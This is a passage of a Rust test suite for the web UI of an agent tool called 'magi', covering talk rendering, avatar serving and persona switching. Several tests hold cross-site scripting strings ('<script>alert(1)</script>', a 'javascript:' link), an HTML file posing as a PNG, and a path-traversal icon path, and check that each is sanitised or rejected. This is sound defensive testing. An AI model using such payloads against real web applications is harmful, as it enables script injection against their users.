12140 assert_eq!(saved.turns[1].messages[0].body, body);
12141 assert_eq!(saved.turns[1].messages[0].display, Some(display.clone()));
12142 let reply = saved.turns[2].messages[0].reply.as_mut().unwrap();
12143 assert!(!reply.excerpt.contains("automatic report"));
12144 reply.excerpt = body.chars().take(240).collect(); saved.turns[1].messages[0].display = None; ui.talks.put(&mut saved).unwrap();
12147 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12148 assert_eq!(view.turn_messages_md[1][0], queued_md);
12149 assert_eq!(view.talk.turns[1].messages[0].display, Some(display));
12150 assert!(
12151 !view.talk.turns[2].messages[0]
12152 .reply
12153 .as_ref()
12154 .unwrap()
12155 .excerpt
12156 .contains("automatic report")
12157 );
12158 assert_eq!(ui.talks.get(&id).unwrap().turns[1].messages[0].body, body);
12159 }
12160
12161 #[tokio::test]
12162 async fn consultation_display_hides_directives_in_queue_and_history() {
12163 for node in [
12164 "implement",
12165 crate::land::APPROVAL_NODE,
12166 crate::github_text::ASK_NODE,
12167 ] {
12168 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12169 let mut question = Question::new(
12170 "run-123".into(),
12171 node.into(),
12172 "seat-1".into(),
12173 "Which backend?".into(),
12174 "## Context\n\nUse `storage`.\n\n<script>literal</script>".into(),
12175 vec!["SQLite".into(), "Redis".into()],
12176 );
12177 ui.questions.put(&mut question).unwrap();
12178 let body = crate::prompt::chat_consult(&question);
12179 let mut conversation = ui.talks.get(&id).unwrap();
12180 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12181 assert!(
12182 crate::consult::begin(&ui.questions, &ui.talks, &question, &conversation).unwrap()
12183 );
12184 conversation = ui.talks.get(&id).unwrap();
12185 assert_eq!(conversation.pending_messages[0].body, body);
12186 assert!(body.contains("magi answer"));
12187 let mut legacy_pending = conversation.clone();
12188 legacy_pending.pending_messages[0].display = None;
12189 let legacy_view = TalkView::with_config(legacy_pending, false, None, &ui.home);
12190 let legacy_md = serde_json::to_string(&legacy_view.pending_messages_md[0]).unwrap();
12191 assert!(legacy_md.contains("Question consultation"));
12192 assert!(!legacy_md.contains("magi answer"));
12193 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12194 assert!(
12195 view.turn_messages_md[0][0].is_none(),
12196 "operator copy stays literal"
12197 );
12198 let queued_md = view.pending_messages_md[0].clone().unwrap();
12199 let rendered = serde_json::to_string(&queued_md).unwrap();
12200 for visible in [
12201 "Which backend?",
12202 "Context",
12203 "storage",
12204 "SQLite",
12205 "Redis",
12206 "<script>literal</script>",
12207 ] {
12208 assert!(rendered.contains(visible), "missing {visible}");
12209 }
12210 for directive in [
12211 "What to do",
12212 "magi answer",
12213 "Never answer it yourself",
12214 "Do not edit the repository",
12215 ] {
12216 assert!(!rendered.contains(directive), "exposed {directive}");
12217 }
12218 assert_eq!(
12219 view.talk.pending_messages[0].display,
12220 Some(crate::prompt::chat_consult_display(&question))
12221 );
12222 talk::drain(&mut conversation, &ui.talks).unwrap();
12223 let view = TalkView::with_config(conversation.clone(), false, None, &ui.home);
12224 assert_eq!(view.turn_messages_md[1][0], Some(queued_md));
12225 assert_eq!(conversation.turns[1].messages[0].body, body);
12226
12227 conversation.turns[1].messages[0].display = None;
12230 let view = TalkView::with_config(conversation, false, None, &ui.home);
12231 let legacy = serde_json::to_string(&view.turn_messages_md[1][0]).unwrap();
12232 assert!(legacy.contains("Question consultation"));
12233 assert!(!legacy.contains("magi answer"));
12234 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12235 }
12236 }
12237
12238 #[test]
12239 fn notification_markdown_uses_only_visible_facts_and_explicit_provenance() {
12240 let facts = "# Update\n\n- `task` [PR](https://example.org)\n\n```sh\necho ok\n```\n\n<script>alert(1)</script>\n\n[bad](javascript:alert(1))";
12241 let (body, mut display) =
12242 crate::prompt::chat_watch_report("watch-123", "failed", "<script>untrusted</script>");
12243 display.facts = facts.into();
12244 let nodes = notice_markdown(talk::Sender::Magi, &body, Some(&display)).unwrap();
12245 assert_eq!(nodes, md::to_nodes(facts, &md::ImageBase::None));
12246 let json = serde_json::to_string(&nodes).unwrap();
12247 for kind in ["heading", "bullet_list", "code", "link", "code_block"] {
12248 assert!(json.contains(&format!("\"type\":\"{kind}\"")));
12249 }
12250 assert!(json.contains("<script>alert(1)</script>"));
12251 assert!(!json.contains("javascript:"));
12252 assert!(!json.contains("Tell the operator"));
12253 assert!(!json.contains("untrusted"));
12254 assert!(notice_markdown(talk::Sender::Operator, facts, None).is_none());
12255 assert!(notice_markdown(talk::Sender::Operator, &body, Some(&display)).is_none());
12256 assert!(notice_markdown(talk::Sender::Magi, &body, None).is_none());
12257 assert_eq!(
12258 notice_markdown(talk::Sender::Magi, "magi: # Status", None).unwrap(),
12259 md::to_nodes("# Status", &md::ImageBase::None),
12260 );
12261 }
12262
12263 #[tokio::test]
12264 async fn notification_display_recovers_exact_legacy_completion_references() {
12265 let (_tmp, _home, ui, id, _) = avatar_fixture("").await;
12266 let mut conversation = ui.talks.get(&id).unwrap();
12267 let (body, display) = crate::prompt::chat_task_report(&crate::prompt::ChatTaskNotice {
12268 id: "task-123",
12269 title: "Change",
12270 status: "done",
12271 reason: None,
12272 run: Some("run-123"),
12273 pr: None,
12274 summary: Some("Merge state unknown"),
12275 });
12276 talk::record(&mut conversation, &ui.talks, &body, vec![]).unwrap();
12277 conversation.turns[0].sender = None;
12278 conversation.turns[0].messages.clear();
12279 conversation.turns[0].breaks = None;
12280 conversation.pending = body.clone();
12281 conversation
12282 .completion_notices
12283 .push(crate::chat_notify::CompletionReference {
12284 task: "task-123".into(),
12285 run: Some("run-123".into()),
12286 notice: body.clone(),
12287 });
12288 ui.talks.put(&mut conversation).unwrap();
12289 let view = TalkView::with_config(ui.talks.get(&id).unwrap(), false, None, &ui.home);
12290 assert_eq!(
12291 view.talk.turns[0].messages[0].display,
12292 Some(display.clone())
12293 );
12294 assert_eq!(view.talk.pending_messages[0].display, Some(display));
12295 assert_eq!(
12296 view.talk.turns[0].messages[0].sender,
12297 Some(talk::Sender::Magi)
12298 );
12299 assert!(ui.talks.get(&id).unwrap().turns[0].messages.is_empty());
12300 conversation.completion_notices[0]
12301 .notice
12302 .push_str("different");
12303 let view = TalkView::with_config(conversation, false, None, &ui.home);
12304 assert!(view.talk.turns[0].messages.is_empty());
12305 assert!(view.talk.pending_messages.is_empty());
12306 }
12307
12308 #[tokio::test]
12309 async fn magi_icon_saves_resets_revalidates_and_refreshes_cache() {
12310 let (_tmp, home, ui, id, repo) = avatar_fixture("").await;
12311 let original = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12312 let icon = "data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=";
12313 let _ = magi_icon_put(
12314 State(ui.clone()),
12315 Json(MagiIconUpload { icon: icon.into() }),
12316 )
12317 .await
12318 .unwrap();
12319 let changed = magi_icon_get(State(ui.clone())).await.0["avatar"].clone();
12320 assert_ne!(original, changed);
12321 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12322 let response = magi_avatar(
12323 State(ui.clone()),
12324 Query(AvatarQuery {
12325 persona: None,
12326 builtin: None,
12327 }),
12328 )
12329 .await;
12330 assert_eq!(response.headers()[header::CONTENT_TYPE], "image/png");
12331 assert_eq!(response.headers()[header::CACHE_CONTROL], "no-cache");
12332 assert_eq!(
12333 response.headers()[header::X_CONTENT_TYPE_OPTIONS],
12334 "nosniff"
12335 );
12336 for bad in [
12337 "data:image/png;base64,PGh0bWw+".to_owned(),
12338 "data:image/svg+xml;base64,PHN2Zz4=".to_owned(),
12339 "A".repeat(persona_icon::ICON_MAX_BYTES + 1),
12340 ] {
12341 assert!(save_magi_icon(home.path(), &bad).is_err());
12342 assert_eq!(read_magi_icon(home.path()).as_deref(), Some(icon));
12343 }
12344 let restarted = Arc::new(Ui::new(
12346 Queue::at(home.path().join("queue")),
12347 Questions::at(home.path().join("questions")),
12348 Talks::at(home.path().join("talks")),
12349 home.path().join("runs"),
12350 home.path().to_path_buf(),
12351 repo,
12352 ));
12353 assert_eq!(
12354 magi_icon_get(State(restarted.clone())).await.0["avatar"],
12355 changed
12356 );
12357 let view = TalkView::with_config(
12358 restarted.talks.get(&id).unwrap(),
12359 false,
12360 None,
12361 &restarted.home,
12362 );
12363 assert_eq!(view.magi_avatar, changed.as_str().unwrap());
12364 std::fs::write(magi_icon_path(home.path()), "invalid").unwrap();
12365 let response = magi_avatar(
12366 State(ui.clone()),
12367 Query(AvatarQuery {
12368 persona: None,
12369 builtin: None,
12370 }),
12371 )
12372 .await;
12373 let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
12374 .await
12375 .unwrap();
12376 assert_eq!(bytes.as_ref(), persona_icon::magi_svg().as_bytes());
12377 let _ = magi_icon_delete(State(ui.clone())).await.unwrap();
12378 assert_eq!(magi_icon_get(State(ui.clone())).await.0["avatar"], original);
12379 let _ = magi_icon_delete(State(ui)).await.unwrap();
12380 }
12381
12382 async fn avatar(
12384 ui: &Arc<Ui>,
12385 id: &str,
12386 persona: Option<&str>,
12387 builtin: bool,
12388 ) -> (StatusCode, String, bool, bool, Vec<u8>) {
12389 let res = talk_avatar(
12390 State(Arc::clone(ui)),
12391 Path(id.to_owned()),
12392 Query(AvatarQuery {
12393 persona: persona.map(str::to_owned),
12394 builtin: builtin.then(|| "1".to_owned()),
12395 }),
12396 )
12397 .await
12398 .expect("an avatar is never an error response");
12399 let h = res.headers();
12400 let ct = h[header::CONTENT_TYPE].to_str().unwrap().to_owned();
12401 let nosniff = h
12402 .get(header::X_CONTENT_TYPE_OPTIONS)
12403 .is_some_and(|v| v == "nosniff");
12404 let csp = h.contains_key(header::CONTENT_SECURITY_POLICY);
12405 let status = res.status();
12406 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12407 .await
12408 .expect("body")
12409 .to_vec();
12410 (status, ct, nosniff, csp, body)
12411 }
12412
12413 fn tiny_png() -> Vec<u8> {
12414 let mut b = b"\x89PNG\r\n\x1a\n".to_vec();
12415 b.extend_from_slice(&[0u8; 32]);
12416 b
12417 }
12418
12419 #[tokio::test]
12420 async fn operator_avatar_is_distinct_svg_with_a_locked_down_policy() {
12421 let res = operator_avatar().await;
12422 assert_eq!(res.status(), StatusCode::OK);
12423 assert_eq!(res.headers()[header::CONTENT_TYPE], "image/svg+xml");
12424 assert_eq!(res.headers()[header::X_CONTENT_TYPE_OPTIONS], "nosniff");
12425 assert_eq!(res.headers()[header::CONTENT_SECURITY_POLICY], AVATAR_CSP);
12426 assert_eq!(res.headers()[header::CACHE_CONTROL], "no-cache");
12427 let body = axum::body::to_bytes(res.into_body(), usize::MAX)
12428 .await
12429 .unwrap();
12430 assert_eq!(body.as_ref(), persona_icon::operator_svg().as_bytes());
12431 assert_ne!(
12432 persona_icon::operator_svg(),
12433 persona_icon::builtin_svg("default")
12434 );
12435 }
12436
12437 #[tokio::test]
12438 async fn builtin_avatars_are_svg_with_a_locked_down_policy() {
12439 let (_t, _h, ui, id, _repo) = avatar_fixture("").await;
12440 for p in [
12441 "default", "magi", "rei", "misato", "ritsuko", "shinji", "asuka", "kaworu",
12442 ] {
12443 let (status, ct, nosniff, csp, body) = avatar(&ui, &id, Some(p), false).await;
12444 assert_eq!(status, StatusCode::OK, "{p}");
12445 assert_eq!(ct, "image/svg+xml", "{p}");
12446 assert!(nosniff && csp, "{p}");
12447 assert!(String::from_utf8(body).unwrap().starts_with("<svg"), "{p}");
12448 }
12449 let own = avatar(&ui, &id, None, false).await;
12451 let default = avatar(&ui, &id, Some("default"), false).await;
12452 assert_eq!(own.4, default.4);
12453 let unknown = avatar(&ui, &id, Some("nobody"), false).await;
12454 assert_eq!(unknown.1, "image/svg+xml");
12455 }
12456
12457 #[tokio::test]
12458 async fn a_configured_raster_icon_is_served_and_bad_ones_fall_back() {
12459 let dir = TempDir::new().expect("icons");
12460 let good = dir.path().join("good.png");
12461 std::fs::write(&good, tiny_png()).unwrap();
12462 let spoof = dir.path().join("spoof.png");
12463 std::fs::write(&spoof, b"<html><script>alert(1)</script></html>").unwrap();
12464 let big = dir.path().join("big.png");
12465 let mut bytes = tiny_png();
12466 bytes.resize(persona_icon::ICON_MAX_BYTES + 1, 0);
12467 std::fs::write(&big, bytes).unwrap();
12468 let missing = dir.path().join("missing.png");
12469 let uri = |p: &FsPath| p.to_string_lossy().replace('\\', "/");
12470 let extra = format!(
12471 "[[talk.personas]]\nid = \"rei\"\nicon = \"{}\"\n\
12472 [[talk.personas]]\nid = \"misato\"\nicon = \"{}\"\n\
12473 [[talk.personas]]\nid = \"asuka\"\nicon = \"{}\"\n\
12474 [[talk.personas]]\nid = \"shinji\"\nicon = \"{}\"\n\
12475 [[talk.personas]]\nid = \"kaworu\"\nicon = \"data:image/png;base64,iVBORw0KGgoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\"\n\
12476 [[talk.personas]]\nid = \"magi\"\nicon = \"data:image/png;base64,PGh0bWw+\"\n",
12477 uri(&good),
12478 uri(&spoof),
12479 uri(&big),
12480 uri(&missing),
12481 );
12482 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12483
12484 let (status, ct, nosniff, _, body) = avatar(&ui, &id, Some("rei"), false).await;
12485 assert_eq!(
12486 (status, ct.as_str(), nosniff),
12487 (StatusCode::OK, "image/png", true)
12488 );
12489 assert_eq!(body, tiny_png());
12490 let (_, ct, _, _, _) = avatar(&ui, &id, Some("kaworu"), false).await;
12491 assert_eq!(ct, "image/png", "data URI");
12492
12493 for p in ["misato", "asuka", "shinji", "magi"] {
12494 let (status, ct, _, csp, body) = avatar(&ui, &id, Some(p), false).await;
12495 assert_eq!(
12496 (status, ct.as_str(), csp),
12497 (StatusCode::OK, "image/svg+xml", true),
12498 "{p}"
12499 );
12500 assert!(body.starts_with(b"<svg"), "{p}");
12501 }
12502 let (_, ct, _, _, _) = avatar(&ui, &id, Some("rei"), true).await;
12504 assert_eq!(ct, "image/svg+xml");
12505 }
12506
12507 #[tokio::test]
12508 async fn invalid_icons_keep_the_catalog_and_persona_switch_usable() {
12509 let oversized = format!(
12510 "data:image/png;base64,{}",
12511 "A".repeat(persona_icon::ICON_MAX_BYTES)
12512 );
12513 for bad in ["", "/images/avatar.svg", "/a/../b.png", &oversized] {
12514 let extra = format!(
12515 "[[talk.personas]]\nid = \"custom\"\nname = \"Custom\"\nprompt = \"Keep calm\"\nicon = \"{bad}\"\n"
12516 );
12517 let (_t, _h, ui, id, _repo) = avatar_fixture(&extra).await;
12518 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12519 .await
12520 .expect("detail with invalid icon");
12521 assert!(detail.personas.iter().any(|p| p.id == "custom"));
12522 let (status, ct, _, _, body) = avatar(&ui, &id, Some("custom"), false).await;
12523 assert_eq!(status, StatusCode::OK);
12524 assert_eq!(ct, "image/svg+xml");
12525 assert_eq!(body, persona_icon::builtin_svg("custom").as_bytes());
12526 let Json(view) = talk_persona(
12527 State(Arc::clone(&ui)),
12528 Path(id.clone()),
12529 Json(TalkPersona {
12530 persona: "custom".into(),
12531 }),
12532 )
12533 .await
12534 .expect("persona switch with invalid icon");
12535 assert_eq!(view.talk.persona, "custom");
12536 assert_eq!(ui.talks.get(&id).unwrap().persona, "custom");
12537 }
12538 }
12539
12540 #[tokio::test]
12541 async fn an_unreadable_config_still_gets_the_builtin_avatar() {
12542 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12543 std::fs::write(repo.join("magi.toml"), "this is not valid TOML").unwrap();
12544 let (status, ct, nosniff, csp, _) = avatar(&ui, &id, Some("rei"), false).await;
12545 assert_eq!(
12546 (status, ct.as_str(), nosniff, csp),
12547 (StatusCode::OK, "image/svg+xml", true, true)
12548 );
12549 }
12550
12551 #[tokio::test]
12552 async fn the_talk_view_carries_server_built_avatar_urls_only() {
12553 let (_t, _h, ui, id, _repo) =
12554 avatar_fixture("[[talk.personas]]\nid = \"rei\"\nicon = \"~/secret/rei.png\"\n").await;
12555 let Json(detail) = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12556 .await
12557 .expect("detail");
12558 let json = serde_json::to_string(&detail).unwrap();
12559 assert!(
12560 !json.contains("secret"),
12561 "the icon setting must not leak: {json}"
12562 );
12563 assert!(
12564 detail
12565 .view
12566 .persona_avatar
12567 .starts_with(&format!("/api/talks/{id}/avatar?persona=default&v="))
12568 );
12569 assert_eq!(
12570 detail.view.operator_avatar,
12571 format!(
12572 "/avatars/operator.svg?v={}",
12573 persona_icon::fingerprint(Some(persona_icon::operator_svg()))
12574 )
12575 );
12576 assert!(!detail.personas.iter().any(|p| p.id == "operator"));
12577 let rei = detail.personas.iter().find(|p| p.id == "rei").unwrap();
12578 let plain = detail.personas.iter().find(|p| p.id == "asuka").unwrap();
12579 assert!(rei.avatar.contains("persona=rei&v="));
12580 assert_ne!(
12581 rei.avatar.split("&v=").nth(1),
12582 plain.avatar.split("&v=").nth(1)
12583 );
12584 }
12585
12586 #[tokio::test]
12587 async fn empty_settings_turn_releases_inline_only_for_unchanged_generation() {
12588 let (_t, _h, ui, id, repo) = avatar_fixture("").await;
12589 let cfg = config_for(&repo).await.unwrap();
12590 for arrived in [false, true] {
12591 let turn = ui.begin_talk_turn(&id).unwrap().unwrap();
12592 let observed = ui.queued_generation(&id);
12593 let talk = ui.talks.get(&id).unwrap();
12594 if arrived {
12595 assert!(ui.begin_queued_talk_turn(&id).unwrap().is_none());
12596 }
12597 let mut settling = std::pin::pin!(settle_settings_turn(
12598 talk,
12599 ui.talks.clone(),
12600 cfg.clone(),
12601 id.clone(),
12602 turn,
12603 observed
12604 ));
12605 let mut cx = std::task::Context::from_waker(std::task::Waker::noop());
12606 let first = std::future::Future::poll(settling.as_mut(), &mut cx);
12607 assert_eq!(first.is_pending(), arrived);
12608 if arrived {
12609 assert!(!settling.await);
12610 }
12611 assert!(!ui.is_thinking(&id));
12612 }
12613 }
12614
12615 #[tokio::test]
12616 async fn talk_persona_round_trips_and_refuses_unknown_busy_or_closed() {
12617 let tmp = TempDir::new().expect("tempdir");
12618 let repo = tmp.path().join("repo");
12619 std::fs::create_dir_all(&repo).expect("repo dir");
12620 std::fs::write(
12621 repo.join("magi.toml"),
12622 format!(
12623 "{MOCK_AGENT_TOML}\n[[talk.personas]]\nid = \"gendo\"\nname = \"Gendo\"\nprompt = \"Be cold.\"\n"
12624 ),
12625 )
12626 .expect("write magi.toml");
12627 let home = TempDir::new().expect("temp home");
12628 let talks = Talks::at(home.path().join("talks"));
12629 let ui = Arc::new(
12630 Ui::new(
12631 Queue::at(home.path().join("queue")),
12632 Questions::at(home.path().join("questions")),
12633 talks.clone(),
12634 home.path().join("runs"),
12635 home.path().to_path_buf(),
12636 repo.clone(),
12637 )
12638 .with_worktrees_root(home.path().join("wt")),
12639 );
12640 let cfg = config_for(&repo).await.expect("discover config");
12641 let talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
12642 let id = talk.id.clone();
12643 let call = |persona: &str| {
12644 talk_persona(
12645 State(Arc::clone(&ui)),
12646 Path(id.clone()),
12647 Json(TalkPersona {
12648 persona: persona.to_owned(),
12649 }),
12650 )
12651 };
12652
12653 let unknown = call("nobody").await.expect_err("unknown persona");
12654 assert_eq!(
12655 unknown.status,
12656 StatusCode::BAD_REQUEST,
12657 "{}",
12658 unknown.message
12659 );
12660
12661 {
12662 let guard = ui.begin_talk_turn(&id).expect("claim").expect("free");
12665 let busy = call("rei").await.expect_err("busy talk");
12666 assert_eq!(busy.status, StatusCode::CONFLICT, "{}", busy.message);
12667 assert!(
12668 busy.message.contains("a talk turn is running"),
12669 "{}",
12670 busy.message
12671 );
12672 drop(guard);
12673 }
12674 assert_eq!(talks.get(&id).expect("reload").persona, "");
12675
12676 let Json(view) = call("gendo").await.expect("switch to a configured persona");
12677 assert_eq!(view.talk.persona, "gendo");
12678 assert_eq!(talks.get(&id).expect("reload").persona, "gendo");
12679 assert!(!ui.is_thinking(&id), "idle response must release the claim");
12680 for chosen in ["default", "gendo", "rei", "gendo"] {
12682 let Json(view) = call(chosen).await.expect("immediate consecutive change");
12683 assert!(!view.thinking);
12684 assert!(!ui.is_thinking(&id));
12685 }
12686
12687 let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
12688 .await
12689 .expect("detail");
12690 let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
12691 assert_eq!(ids.first(), Some(&"default"));
12692 assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
12693
12694 let Json(view) = call("default").await.expect("back to default");
12695 assert_eq!(view.talk.persona, "");
12696
12697 let mut closed = talks.get(&id).expect("reload");
12698 talk::close(&mut closed, &talks).expect("close");
12699 let refused = call("rei").await.expect_err("closed talk");
12700 assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
12701 assert!(
12702 refused.message.contains("takes no more turns"),
12703 "{}",
12704 refused.message
12705 );
12706 }
12707
12708 #[tokio::test]
12709 async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
12710 let f = Fixture::start().await;
12711 let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
12712 let queue = f.queue();
12713 let mut mine = Task::new(
12714 "rename the loader".to_owned(),
12715 "rename the loader".to_owned(),
12716 PathBuf::from("/repo/magi"),
12717 Source::Agent {
12718 run: talk_id.clone(),
12719 node: "chat".to_owned(),
12720 },
12721 );
12722 queue.put(&mut mine).expect("file the task");
12723 let mut theirs = Task::new(
12724 "unrelated".to_owned(),
12725 "unrelated".to_owned(),
12726 PathBuf::from("/repo/magi"),
12727 Source::Human,
12728 );
12729 queue.put(&mut theirs).expect("file the task");
12730
12731 let res = f.get(&format!("/api/talks/{talk_id}")).await;
12732 assert_eq!(res.status, 200, "{}", res.body);
12733 let body = res.json();
12734 assert_eq!(
12735 body["status"], "open",
12736 "filing a task does not close a talk"
12737 );
12738 let tasks = body["tasks"].as_array().expect("tasks array");
12739 assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
12740 assert_eq!(tasks[0]["id"], mine.id);
12741 }
12742
12743 #[tokio::test]
12744 async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
12745 let (_tmp, _repo, f) = talk_fixture().await;
12746 let id = f.post("/api/talks", None).await.json()["id"]
12747 .as_str()
12748 .expect("id")
12749 .to_owned();
12750
12751 let res = f
12752 .post(
12753 &format!("/api/talks/{id}/say"),
12754 Some(r#"{"text":"what does the queue module do?"}"#),
12755 )
12756 .await;
12757 assert_eq!(res.status, 202, "{}", res.body);
12758 let queued = res.json();
12759 let turns = queued["turns"].as_array().expect("turns array");
12760 assert_eq!(
12761 turns.len(),
12762 1,
12763 "the answer reflects only what is on disk the instant it is sent, \
12764 before the agent's turn - which can run for the whole of \
12765 `[graph] timeout_talk` - has a chance to land: {queued}"
12766 );
12767 assert_eq!(turns[0]["who"], "operator");
12768 assert_eq!(turns[0]["body"], "what does the queue module do?");
12769 assert_eq!(
12770 queued["thinking"], true,
12771 "the accepted response exposes the background turn claim: {queued}"
12772 );
12773
12774 let mut turns_after = 1;
12775 for _ in 0..SETTLE_STEPS {
12776 let detail = f.get(&format!("/api/talks/{id}")).await.json();
12777 turns_after = detail["turns"].as_array().expect("turns array").len();
12778 if turns_after == 2 {
12779 break;
12780 }
12781 tokio::time::sleep(Duration::from_millis(10)).await;
12782 }
12783 assert_eq!(turns_after, 2, "the agent's reply eventually lands");
12784 }
12785
12786 #[tokio::test]
12813 async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
12814 let tmp = TempDir::new().expect("tempdir");
12815 let repo = tmp.path().join("repo");
12816 std::fs::create_dir_all(&repo).expect("repo dir");
12817 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12818 let home = TempDir::new().expect("temp home");
12819 let talks = Talks::at(home.path().join("talks"));
12820 let ui = Arc::new(
12821 Ui::new(
12822 Queue::at(home.path().join("queue")),
12823 Questions::at(home.path().join("questions")),
12824 talks.clone(),
12825 home.path().join("runs"),
12826 home.path().to_path_buf(),
12827 repo.clone(),
12828 )
12829 .with_worktrees_root(home.path().join("wt")),
12830 );
12831 let cfg = config_for(&repo).await.expect("discover config");
12832
12833 for delay in 0..40u32 {
12834 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12835 let id = talk.id.clone();
12836
12837 let handler = tokio::spawn(talk_say(
12838 State(Arc::clone(&ui)),
12839 Path(id.clone()),
12840 Ok(Json(NewTalkTurn {
12841 reply_to: None,
12842 text: "what does the queue module do?".to_owned(),
12843 attachments: Vec::new(),
12844 })),
12845 ));
12846 tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
12847 handler.abort();
12848 let _ = handler.await;
12851
12852 let mut turns = 0;
12853 for _ in 0..SETTLE_STEPS {
12854 if let Ok(fresh) = talks.get(&id) {
12855 turns = fresh.turns.len();
12856 if turns != 1 {
12857 break;
12858 }
12859 }
12860 tokio::time::sleep(Duration::from_millis(10)).await;
12861 }
12862 assert_ne!(
12863 turns, 1,
12864 "delay {delay}: talk {id} recorded the operator's turn but \
12865 the agent never answered - the reply task was never \
12866 started after the handler future was dropped"
12867 );
12868 }
12869 }
12870
12871 #[tokio::test]
12916 async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
12917 let tmp = TempDir::new().expect("tempdir");
12918 let repo = tmp.path().join("repo");
12919 std::fs::create_dir_all(&repo).expect("repo dir");
12920 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
12921 let home = TempDir::new().expect("temp home");
12922 let talks = Talks::at(home.path().join("talks"));
12923 let ui = Arc::new(
12924 Ui::new(
12925 Queue::at(home.path().join("queue")),
12926 Questions::at(home.path().join("questions")),
12927 talks.clone(),
12928 home.path().join("runs"),
12929 home.path().to_path_buf(),
12930 repo.clone(),
12931 )
12932 .with_worktrees_root(home.path().join("wt")),
12933 );
12934 let cfg = config_for(&repo).await.expect("discover config");
12935
12936 for attempt in 0..3u32 {
12937 let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
12938 let id = talk.id.clone();
12939 let turn_guard = ui
12942 .begin_talk_turn(&id)
12943 .expect("claim the turn")
12944 .expect("a fresh talk owes nobody a turn");
12945
12946 let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
12947 let (release_tx, release_rx) = std::sync::mpsc::channel();
12948 ui.set_busy_queue_gate(BusyQueueGate {
12949 reached: reached_tx,
12950 release: release_rx,
12951 });
12952
12953 let handler = tokio::spawn(talk_say(
12954 State(Arc::clone(&ui)),
12955 Path(id.clone()),
12956 Ok(Json(NewTalkTurn {
12957 reply_to: None,
12958 text: "what does the queue module do?".to_owned(),
12959 attachments: Vec::new(),
12960 })),
12961 ));
12962
12963 tokio::time::timeout(Duration::from_secs(5), reached_rx)
12968 .await
12969 .unwrap_or_else(|_| {
12970 panic!(
12971 "attempt {attempt}: talk {id} never reached the busy branch's queue write"
12972 )
12973 })
12974 .expect("the busy branch dropped the gate without using it");
12975
12976 let running = talks.get(&id).expect("reload talk");
12983 drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
12984
12985 handler.abort();
12989 let _ = handler.await;
12990
12991 let _ = release_tx.send(());
12997
12998 let mut fresh = talks.get(&id).expect("reload talk");
13001 for _ in 0..SETTLE_STEPS {
13002 if fresh.pending.is_empty() && fresh.turns.len() == 2 {
13003 break;
13004 }
13005 tokio::time::sleep(Duration::from_millis(10)).await;
13006 fresh = talks.get(&id).expect("reload talk");
13007 }
13008 assert!(
13009 fresh.pending.is_empty() && fresh.turns.len() == 2,
13010 "attempt {attempt}: talk {id} left the operator's text queued \
13011 with no drainer - the reclaimed turn was dropped along with \
13012 the handler future (pending {:?}, {} turns)",
13013 fresh.pending,
13014 fresh.turns.len()
13015 );
13016 }
13017 }
13018
13019 #[tokio::test]
13020 async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
13021 let (_tmp, _repo, f) = talk_fixture().await;
13022 let id = f.post("/api/talks", None).await.json()["id"]
13023 .as_str()
13024 .expect("id")
13025 .to_owned();
13026 let store = f.talks();
13027 let mut recovered = store.get(&id).expect("opened talk");
13028 talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
13029 .expect("persist pending draft without a live turn");
13030
13031 let edited = f
13032 .post(
13033 &format!("/api/talks/{id}/pending/edit"),
13034 Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
13035 )
13036 .await;
13037 assert_eq!(edited.status, 200, "{}", edited.body);
13038 assert!(edited.json()["thinking"].as_bool().unwrap());
13039
13040 let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
13041 for _ in 0..SETTLE_STEPS {
13042 if detail["turns"].as_array().expect("turns").len() == 2 {
13043 break;
13044 }
13045 tokio::time::sleep(Duration::from_millis(10)).await;
13046 detail = f.get(&format!("/api/talks/{id}")).await.json();
13047 }
13048 let turns = detail["turns"].as_array().expect("turns");
13049 assert_eq!(
13050 turns.len(),
13051 2,
13052 "the recovered draft must run once: {detail}"
13053 );
13054 assert_eq!(turns[0]["body"], "corrected");
13055 assert_eq!(detail["pending"], "");
13056 }
13057
13058 #[tokio::test]
13059 async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
13060 let tmp = TempDir::new().expect("tempdir");
13061 let repo = tmp.path().join("repo");
13062 std::fs::create_dir_all(&repo).expect("repo dir");
13063 std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
13064 let f = Fixture::with_repo(repo).await;
